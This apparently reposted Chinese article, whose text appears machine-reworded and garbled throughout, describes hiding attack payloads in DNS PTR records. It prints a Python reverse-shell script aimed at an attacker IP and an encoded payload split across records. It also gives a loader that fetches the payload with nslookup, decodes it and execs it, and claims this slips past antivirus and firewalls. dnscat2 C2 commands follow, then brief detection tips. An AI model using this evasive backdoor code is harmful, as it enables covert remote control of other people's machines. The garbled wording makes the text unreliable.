DNS后门及其检测

0×02 深入阐发

既然应用TCP协议被检测出的可能性很高,那么应用无连接的UDP协议进行信息交互的隐蔽性就强了很多,采纳DNS协议便是一个很好的选择

应用DNS地道技巧可以有效地进行数据互换,当然,也可以应用DNS地道技巧进行后门的制作

0×00 背景

要理解DNS后门,首先要对DNS协议有所懂得DNS解析历程在此不多赘述,只提到一点:DNS解析中的PTR记录,它与A记录相反,是将IP地址解析为域名如下图,假如这时向这个DNS办事器哀求1.1.1.100的PTR记录,反向解析到的域名便是test.com

必要懂得的是PTR记录的两个特点:

1. 大年夜小写不敏感在PTR记录中,假如DNS办事器上的主机名包孕大年夜写,DNS解析的结果中会整个转换为小写以是域名也并不区分大年夜小写

2. 款式不定一个正常的域名至少必要一个后缀(.com、.net),并且弗成呈现“-”以外的特殊符号然则在写PTR记录时,可以选择随意率性款式,也可以呈现包括“!@#$%^&*()_+=/?”在内的各类特殊字符,以致是空格,只有反斜杠“\”会被过滤

不仅仅是PTR记录,其他的例如TXT记录、MX记录等,都可以达到类似的效果,以致寄放的内容没有字符和长度限定,只是设置设置设备摆设摆设措施略有不合

0×01 初窥门径

我们已经知道了DNS中的PTR记录可以寄放险些任何我们想要的器械,接下来的要说DNS后门的使用的设计思路我们可以将payload放在PTR记录中,做好IP和域名的映射只要在被进击者主机上用DNS协议反向解析这个IP ,payload就会被接管最紧张的一点在于,大年夜部分的防火墙、入侵检测系统和态势感知系统并不会审计DNS协议,以是这段流量险些是不会被拦截的;并且这段paylaod并不会被保存在文件中,而是存在内存里,也可以绕过本地杀软的查杀

模拟一个场景,在DNS办事器上创建数个PTR记录,将一段payload拆分成三个部分,由于域名有长度限定,无法整个放入,并且拆分后可以有效避免被检察再将1.1.1.1-1.1.1.3的IP分手映射这三段payload

只要向这台DNS办事器哀求反向解析这三个IP,就可以接管到这段payload

下面来看一个实例,这有一个简短的python弹shell脚本:

import socket,subprocess,os

s=socket.socket()

s.connect((“”,))

os.dup2(s.fileno(),0)

os.dup2(s.fileno(),1)

os.dup2(s.fileno(),2)

p=subprocess.call([“/bin/sh”,”-i”])

应用VirusTotal进行检测,顺利经由过程了所有厂商的查杀比拟之下,相同功能的可履行文件被查杀几率就高了很多

在这里我只截取以下部分作为测试,连接的目标地址为进击者IP及端口号

import socket

s=socket.socket()

s.connect((“x.x.x.x”,xxxx))

接下来便是将这段payload放入DNS办事器中的PTR记录里,为了方便起见,将其做base64编码处置惩罚,由于编码后的字符中存在大年夜写,前文提到过PTR解析结果中整个为小写,以是将其再进行ASCII编码,终极的结果为:

\u0061\u0057\u0031\u0077\u0062\u0033\u004a\u0030\u0049\u0048\u004e\u0076\u0059\u0032\u0074\u006c\u0064\u0043\u0078\u007a\u0064\u0048\u004a\u0031\u0059\u0033\u0051\u004b\u0063\u007a\u0031\u007a\u0062\u0032\u004e\u0072\u005a\u0058\u0051\u0075\u0063\u0032\u0039\u006a\u0061\u0032\u0056\u0030\u004b\u0044\u0049\u0073\u004d\u0053\u006b\u004b\u0063\u0079\u0035\u006a\u0062\u0032\u0035\u0075\u005a\u0057\u004e\u0030\u004b\u0043\u0067\u006e\u004d\u0054\u006b\u0079\u004c\u006a\u0045\u0032\u004f\u0043\u0034\u0078\u004d\u0044\u0045\u0075\u004d\u0054\u0049\u0035\u004a\u0079\u0077\u0035\u004f\u0054\u006b\u0035\u004b\u0053\u006b\u004b\u0043\u0067\u003d\u003d

在DNS办事器上创建PTR记录,将终极编码后的payload拆分,并整个存入此中,建立IP和payload的反向解析

着末只要在被进击者主机上哀求这些IP的DNS反向解析,就可以获取到完备的payload,我写了一个简单的python脚原先完成这个操作可以获取到所有分段后的payload,进行组合、解码并履行192.168.101.144是DNS办事器的地址

import os

payload=”

ip=raw_input(‘please input payload ip range:’)

count=raw_input(‘please input count:’)

for i in range(1,int(count)+1):

domain=ip+str(i)

p=os.popen(‘nslookup -qt=ptr ‘+domain+’ 192.168.101.144′)

res=p.read().split(‘\n’)

if res[0]==”\xb7\xfe\xce\xf1\xc6\xf7: UnKnown”:

del res[0]

payload_raw=res[2].split(“:”)[1].strip()

payload+=payload_raw

payload=payload.replace(‘u’,’\u’).decode(‘unicode_escape’)

[1] [2] [3]下一页

payload=”’python -c \”exec(\””+ payload+ ””.decode(‘base64′))””’

os.popen(payload)

在履行这段脚本时,必要输入IP的网段和数量

IP网段款式为“x.x.x.”,这是在DNS办事器上建立PTR协议的IP网段,数量是PTR记录的数量,也便是payload被拆分后的个数在此次测试中,网段为“1.1.1.”,数量是11

脚本会调用nslookup敕令获取PTR协议中的payload并解码履行,在进击者主机上运行msf,监听对应的端口,就可以收到一个弹回的shell

用wireshark抓包查看,通报payload的历程完全是经由过程DNS协议进行的分段的payload被放在Domain Name字段中,然则没有反斜杠“\”,前文中提到过,反斜杠被过滤掉落了

也可以看到发送连接的TCP数据包,目标地址恰是进击者的IP

问题也随之而来,虽然在传输payload的历程中应用了DNS协议,可以规避大年夜部分检测,然则弹shell时应用了TCP协议建立连接,极轻易被AF等防护设备监测到,在被进击主机上应用TCPView等对象也可以很快就发明连接场景如下图,进击者将敕令经由过程DNS协议发送至被进击者,被进击者主机上的后门法度榜样接管到指令,履行响应的操作某些操作必要进行相应,也可以经由过程DNS协议发送经由过程这种要领,可以很好的绕过安然防护设备;假如不进行改动注册表等敏感操作,本地的杀软也不会对其进行拦截,由于它仅仅发送大年夜量DNS解析哀求而已

不够之处在于传输文件时速率较为迟钝,由于必要将数据写入缓存中再进行读取,进行大年夜量数据发送时很吃力而且因为UDP协议的弗成靠性,分外在收集情况较差的环境下,相应的完备性会受到极大年夜的影响

dnscat2便是这样一个应用DNS协议进行数据传输的C&C对象采纳了C/S架构,client端有Windows和Linux两种版本,server端只能在Linux上运行client位于被控主机,server位于节制端

Windows系统的client端启动敕令如下,server处是节制真个IP

dnscat2-v0.07-client-win32.exe –dns server=x.x.x.x

server端必要安装ruby,启动敕令为:

ruby ./dnscat2.rb

成功连接后的效果如下

client端:

server端:

在server真个应用措施与msf类似,每个连接都是一个window,应用window -i敕令可以进入对应的window,help敕令列出了所有的功能

clear delay download echo exec help listen ping quit set shell shutdown suspend tunnels unset upload window windows

应用shell和sission敕令,可以得到cmd shell:

可以履行cmd敕令:

对历程中的数据包进行抓取和阐发所有的数据均走DNS协议,每一条哀求都有相应,数据中有显着的特性“dnscat”字段;在解析记录的选择上有MX、TXT、和CHAME三种,混杂应用;因为dnscat2默认加密数据,以是不能从数据包中看出敕令履行的原始数据

遗憾的是这个软件会被大年夜多半厂牌号记为恶意软件,假如你真的应用dnscat2当做后门来应用,顿时就会被杀软和检测出以是dnscat2仅仅作为一个思路上的参考,应用自己编写的脚本是最好的选择

以上的使用是最简单的直连,在繁杂的真实情况下,必要根据环境的不合改变后门的事情模式,才能达到最好的效果

上一页[1] [2] [3]下一页

0×03 检测

关于DNS检测有一些思路:

1. 在后门进行传输数据时会孕育发生大年夜量的流量交互,尤其对付DNS后门来说,会孕育发生大年夜量的DNS协议数据,并且这些域名有很光显的特性可以经由过程流量过滤对其进行检测

对DNS流量的大年夜小进行检测,在必然光阴内有大年夜量的DNS流量时,还要对数据的详细内容进行阐发有些未颠末加密的数据中会有显着的敕令履行、或者其他数据传输,加密过的数据会呈现域名长度大年夜、域名分歧法等特性,根据这些特性进行检测

2. 使用DNS的缓存机制主机在进行DNS 解析后,会将解析到的结果在缓存中保存一段光阴,这段光阴内假如有相同的解析必要,会直接从缓存中读取,而不向DNS办事器进行解析哀求

使用DNS后门进行数据传输会孕育发生大年夜量的解析哀乞降相应,在必然光阴内这些数据都邑被记录在DNS缓存中可以应用ipconfig /display读取缓存,对此中的非常数据进行筛选并过滤

参考

dnscat:https://github.com/iagox86/dnscat2

上一页[1] [2] [3]

赞(0) 打赏
分享到: 更多 (0)
免责申明:本站所有资料均来自于网络,版权归原创者所有!本站不提供任何保证,不保证真实性,并不承担任何法律责任

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

阿里云优惠网 更专业 更优惠

阿里云优惠券阿里云大礼包